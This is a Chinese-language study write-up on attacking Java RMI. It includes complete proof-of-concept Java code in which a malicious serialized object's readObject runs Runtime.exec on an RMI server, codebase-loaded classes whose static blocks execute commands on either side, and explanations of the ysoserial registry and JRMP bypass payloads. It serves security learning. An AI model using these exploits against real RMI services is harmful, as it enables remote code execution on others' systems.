关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的一些总结-1
原文地址:https://www.anquanke.com/post/id/194384#h3-3
1.java rmi反序列化
RMI 允许一个应用程序访问另外一个服务器或虚拟机上的对象,方法和服务,它使远程方法调用就像在本地调用一样简单。它为用户屏蔽了底层的网络传输细节,使用的时候只需适当处理异常即可。所以 RMI 是非常容易使用的,但同时是非常强大的。
RMI 协议的数据序列化目前支持以下两种模式:
1.基于 JDK 本身的对象序列化
2.基于 HTTP 协议的数据序列化
关于rmi客户端和服务端通信的过程,java的方法都实现在rmi服务端,客户端实际上是通过访问rmi注册表拿到stub,然后再通过它调用服务端方法,那么调用方法时要传递参数,参数可以为一般类型,也可以为引用类型,那么如果为引用类型,就能够利用服务端已经有的gaget chain来打server,因为参数实际上是序列化传输的,那么数据到达服务端后必定会经过反序列化。
Stub和Skeleton:这两个的身份是一致的,都是作为代理的存在。
客户端:
RMIClient.java
package com.longofo.javarmi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
/**
* Java RMI恶意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
PublicKnown malicious = new PublicKnown();
malicious.setParam("calc");
malicious.setMessage("haha");
// 使用远程对象的引用调用对应的方法
System.out.println(services.sendMessage(malicious));
}
}
此时客户端要打服务端,因此要将恶意的对象作为参数传递到服务端,此时序列化的对象将在服务端反序列化
publicKnown.java
package com.longofo.javarmi;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class PublicKnown extends Message implements Serializable {
private static final long serialVersionUID = 7439581476576889858L;
private String param;
public void setParam(String param) {
this.param = param;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}
此时要传递的恶意对象肯定要符合服务端参数类型的定义
服务端:
RMIServer.java
//RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
/**
* Java RMI 服务端
*
* @param args
*/
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;
try {
// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
服务端在创建注册表服务时,在返回的RegistryImpl中调用setup,实际上封装了一个UnicastServerRef,在setup函数中,RegistryImpl由于继承RemoteServer,又间接继承自RemoteObject,因此其具有RemoteRef这个filed,即this.ref,此时就把UnicastServerRef赋值给ref(子类对象指向父类引用),接着调用UnicastServerRefe的xportObject把this.ref传入,跟进exportObject可以发现这里实际是服务端为RegistryImpl用Remteinvocationhandler创建了一个动态代理,其中被代理的是new的一个UnicastRef,从instanceof RemoteStub可以猜到这个Remote的代理对象应该就是给客户端用的Stub,接着调用this.setSkeleton设置RegisImpl为服务端的skel,即与客户端通信的骨架,流程如下图所示:
从图中就能看到RegisImpl最终传到了createSkeleton函数中,此时得到RegistryImpl类赋给var1,接着拼接上_Skel作为RegistryImpl_skel作为真正服务端接受客户端请求(lookup,rebind等)调用函数的类,对应的文件就是
到这里服务端就设置完了骨架 ,接着下一步封装完毕后,接着就到了连接层了,这个target包含了RegisImpl、UnicastServerRef、创建的stub,LiveRef的id和一个boolean值,此时再调用this.ref,即LiveRef的exportObject传入Target,这里就到了TCPTranport的exportObject,里面调用listen来等待客户端的连接,最终获得一个可以发布服务的TCPEndpoint对象,并调用该对象把服务(Target)暴露出去
jdk里面也已经说了RemoteRef代表对远程对象具体的具体处理,客户端拿着RemoteStub使用远程引用来调用远程对象的方法。
ServiceImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public class ServicesImpl implements Services {
public ServicesImpl() throws RemoteException {
}
@Override
public Object sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
Service.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
Message.java
package com.longofo.javarmi;
import java.io.Serializable;
public class Message implements Serializable {
private static final long serialVersionUID = -6210579029160025375L;
private String msg;
public Message() {
}
public String getMessage() {
System.out.println("Processing message: " + msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
}
所以这里服务端存在漏洞的即为ServicesImpl类,其存在一个方法其入口参数为Message对象,并且这里Message这个类是继承自Serializable,即可以进行反序列化。服务端通过bind()函数绑定远程对象到RMI注册表中,此时客户端即可以访问RMI注册表拿到stub,即可调用服务端的方法,比如sendMessage()函数
此时先启动RMIServer.java,然后再启动RMIClient.java,即可达到打rmi服务端的效果,这里jdk版本为1.6
在服务端的readObject处下断点,即可看到调用栈,经过ConnectHandler后就能够确定服务端要反序列化的类名
接下来就是通过反射调用PublicKnown类的readObject方法 ,进而到达readObject内部的命令执行代码段
所以这里客户端肯定要知道服务端有哪些可以调用的方法,以及服务端被调用的方法入口参数要满足要求,这里在现实情况中应该很少能够遇到,这里肯定只作为例子来学习。当然反序列化的类可以是本地的gadget,这个例子的测试没有jdk版本限制,在jdk1.8.202也可以成功,这些限制太大了。在这里实际上就是拿到ServicesImpl的引用,lookup函数查找的也一定是存在与rmi注册表中存在的对象并拿到引用,并不是直接拷贝了一份该类的对象到本地来,拿到引用之后再去调用该类的方法,传参到服务端,最后反序列化执行在服务端。
tip:服务端要绑定到rmi 注册表的对象实现的接口必须继承自remote,而该对象所对应的接口实现类必须继承UnicastRemoteObject,否则需要使用静态方法exportObject处理该对象
在服务端创建注册标服务时调用createRegistry,此时服务端执行后返回的是类RegistryImpl的实例,然后调用其bind
其中bindings就是一个hashtable,那么实际上在服务端bind的时候就是单纯的执行一个放入远程对象到hashtable中的操作
那么客户端调用getRegistry实际上根据jdk源码注释可以看到拿到的是远程注册表服务的引用,称作为stub
然而客户端最终返回的不是RegistryIMPL,返回的是一个动态代理封装过后的Registry对象
所以这里说明用的是注册表对象的远程引用,也就是RegistryImpl_stub,对应的rt.jar!\sun\rmi\registry\RegistryImpl_Stub.class中客户端可以执行的操作如下所示:
new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
一共有5种,那么实际在通信过程中对应的就是服务端的RegistryImpl_skel,其中dispatch方法中将根据stub传输的var3变量,也就是客户端想要执行的方法对应的标识值来进入不同的分支进行处理,var4就是标识stub和skel的hash,这样通信就对应起来了。
放一张seebug的图, 所以客户端要访问远程对象就由服务端首先把远程对象注册到注册表,然后客户端先访问注册表拿到远程对象的stub以后,此时就可以像访问本地一样调用远程对象方法,底层由stub再接受客户端的参数和方法,然后就是stub作为代理再帮客户端请求服务端,把参数和方法都发送到服务端,服务端接收到参数和方法后,在服务端进行执行,再把返回结果给客户端的stub,stub再给客户端,所以客户端实际上看不到底层的通信逻辑,这种架构设计已经屏蔽了底层通信。
ysoserial中有对注册表的直接攻击为,RMIRegistryExploit,其中调用registry的bind来绑定远程对象,remote是用cc1封装的一个代理,其中invocationhandler用的就是annotationinvocationahandler,把cc1通过调用createMap放到map再给annotationinvocationahandler的membervalues
然后创建动态代理,接口就是Remote.class,handler就是annotationinvocationhandler,最后再Remote.class.cast将动态代理转换为Remote对象,那么做到这一步,外层封装的看起来就是一个正常的远程对象,精华就在handler中,最后构造好Remote对象以后,再通过调用bind将其绑定到注册表中,就能够触发注册表端的RMI反序列化。
这里注意一下如果想打注册表,但是AnnotaionInvocationhandler被过滤了,也就是此时用该类作为动态代理的handler不能用了,所以此时就要找到其他的handler,并且要把最终的gadget放到里面,ysoserial中的payloads/JRMPClient就实现了该功能用来进行绕过:
这里要封装一个Registry对象,而Registry是继承Remote类的
所以Registry可以被作为远程对象进行注册表绑定,这里的handler用的是RemoteObjectInvocationHandler作为动态代理的handler,封装这个handler需要objid(标识唯一的远程对象),而该类构造函数需要传一个RemoteRef
所以这里又封装了一个UnicastRef,作为注册端反序列化的对象(反序列化它然后回连JRMPListener),因为UnicastRef实现RemoteRef接口
客户端获取服务端Rgistry代理
客户端通过指定host和port来获取远程对象的引用,根绝jdk注释也就是获得reference(a stub)
这里把注册表的host和port封装进UnicastRef,然后构造一个RemoteRef,接着再用动态代理来代理Registry,其中RemoteObjectInvocationHandler中包含着UnicastRef,即远程注册表的host和port,这样客户端便有了服务端的RegistryImpl的代理,即客户端有了RegistryImpl_Stub。
2.java rmi 动态加载类
2.1RMI服务端打客户端
java rmi动态加载类,其实就是通过指定codebase来制定远程的类仓库,我们知道java在运行过程中需要类的时候可以在本地加载,即在classpath中找,那么也可以通过codebase来指定远程库。默认是不允许远程加载的,如需加载则需要安装RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需为false,当然这也是受jdk版本限制的。
RMIClient.java
package com.longofo.javarmi;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient1 {
/**
* Java RMI恶意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
Message message = new Message();
message.setMessage("hahaha");
services.sendMessage(message);
}
}
此时RMI客户端正常操作,传入Message对象,并调用服务端sendMessage方法
ServiceImpl.java
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject;
import java.rmi.RemoteException;
public class ServicesImpl1 implements Services {
@Override
public ExportObject sendMessage(Message msg) throws RemoteException {
return new ExportObject();
}
}
可以看到此时服务端实现Services接口的类的sendMessage方法返回值为ExportObject类型,即该类的实例
ExportObject.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.longofo.remoteclass;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class ExportObject implements ObjectFactory, Serializable {
private static final long serialVersionUID = 4474289574195395731L;
public ExportObject() {
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr;
String lineStr;
for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {
}
inBr.close();
in.close();
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
static {
try {
exec("calc");
} catch (Exception var1) {
var1.printStackTrace();
}
}
}
这里实际上服务端返回的即为该ExportObject类的实例,该类是实现了对象工厂类,并且可以序列化的,所以可以通过jrmp进行传输,我们只需要将其编译放在服务器端指定的codebase地址即可等待客户端来加载,当客户端远程加载该类时将会实例化该类,即调用该类的static代码段
RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer1 {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl1 obj = new ServicesImpl1();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
//设置java.rmi.server.codebase
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry reg;
try {
// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
此时RMIServer端指定了客户端codebase的地址,即客户端反序列化ExportObject时需要加载该类,此时将通过服务端提供的codebase来加载
此时先启动托管远程类的服务端,将ExportObject.class放在codebase指定的位置,这里要注意包名要和目录名相一致
然后启动RMI服务端,启动RMI客户端,即完成了客户端要调用sendMessage方法,此时服务端返回了ExportObject对象,客户端发现返回的是ExportObject对象后,那将在本地的classpath中没找到该类,则通过服务端指定的codebase来加载该类,加载该类的后将实例化该类,从而触发calc
此时托管class的http服务端也收到了加载class文件的请求
这种方法相对于第一种来说打客户端只需要拿到RMI中对象的引用,调用服务器上的方法即可,这里服务器是攻击者控制的,只需要在方法中返回恶意对象即可,当然如前面所说,这里是需要securitManager和useCodebaseOnly为false以及jdk限制的,这里是服务端指定javacodebase的。
2.2RMI客户端打服务端
RMIClient.java
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject1;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient2 {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
ExportObject1 exportObject1 = new ExportObject1();
exportObject1.setMessage("hahaha");
services.sendMessage(exportObject1);
}
}
上面RMI客户端打RMI服务端是服务端来指定codebase地址供客户端参考,客户端来加载codebase地址的class文件,那么从上面这段代码可以看到此时是客户端指定了codebase地址,那么当然服务端就得从客户端指定的codebase来加载class了,可以看到此时客户端调用服务端的sendMessage函数传递的是ExportObject1对象
ExportObject1.java
package com.longofo.remoteclass;
import com.longofo.javarmi.Message;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject1 extends Message implements ObjectFactory, Serializable {
private static final long serialVersionUID = 4474289574195395731L;
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
此时该类继承自Message类,实现对象工厂接口,并且支持序列化
ServiceImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public class ServicesImpl implements Services {
public ServicesImpl() throws RemoteException {
}
@Override
public Object sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
RMIServer.java
//RMIServer2.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer2 {
/**
* Java RMI 服务端
*
* @param args
*/
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;
try {
//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
可以由以上代码看到,此时RMI服务端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会调用入口参数Message类型对象的getmessage函数,这里方法体内容是什么并不重要,因为这种打法和第一节中的打法一样,都是打RMI服务端,区别是第一节是利用RMI服务端本地的gaget chain,而这里则是利用远程类加载,通过客户端指定的codebase来打RMI服务端。
所以此时codebase的地址也将受到请求ExportObject1.class的请求,因为服务端发现穿送过来的ExportObject1类classpath里面没有,所有就会通过客户端指定的codebase加载,从而实例化该恶意ExportObject1类,执行static代码块的命令
所以上面两个例子,客户端打RMI服务端,以及RMI服务端打客户端都是利用RMI的调用过程:
1.客户端打RMI服务端,客户端调用服务端方法,此时传给服务端的的参数可控则可能存在风险(这种条件挺难满足)
2.RMI打客户端,RMI服务端返回给客户端的结果是服务端可控的,则该结果则可能存在风险(lookup可控,并且恶意RMI服务端也要自己实现)
和以前分析其他漏洞时的逻辑还是比较相似的,可控即可能存在风险
关于客户端和服务端互打里面,因为要传递序列化的对象,序列化的过程中要知道serialVersionUID,要传递的反序列化的对象的包名,类名必须要与服务端一致,这里serialVersionID在https://www.freebuf.com/vuls/126499.html这篇文章中说第一次不传递id参数服务端将会返回id值,但是我本地测jdk1.6.01这里客户端不加id值,也能够打成功。
RMI-JRMP
上面说的RMI通信过程中假设客户端在与RMI服务端通信中,虽然也是在JRMP协议上进行通信,尝试传输序列化的恶意对象到服务端,此时服务端若也返回客户端一个恶意序列化的对象,那么客户端也可能被攻击,利用JRMP就可以利用socket进行通信,客户端直接利用JRMP协议发送数据,而不用接受服务端的返回,因此这种攻击方式也更加安全。
比如服务端此时启用RMI服务,那么就可以用yso的exploit/JRMPClient来打rmi服务端
jdk1.7.0_25
如有错误,务必请指出。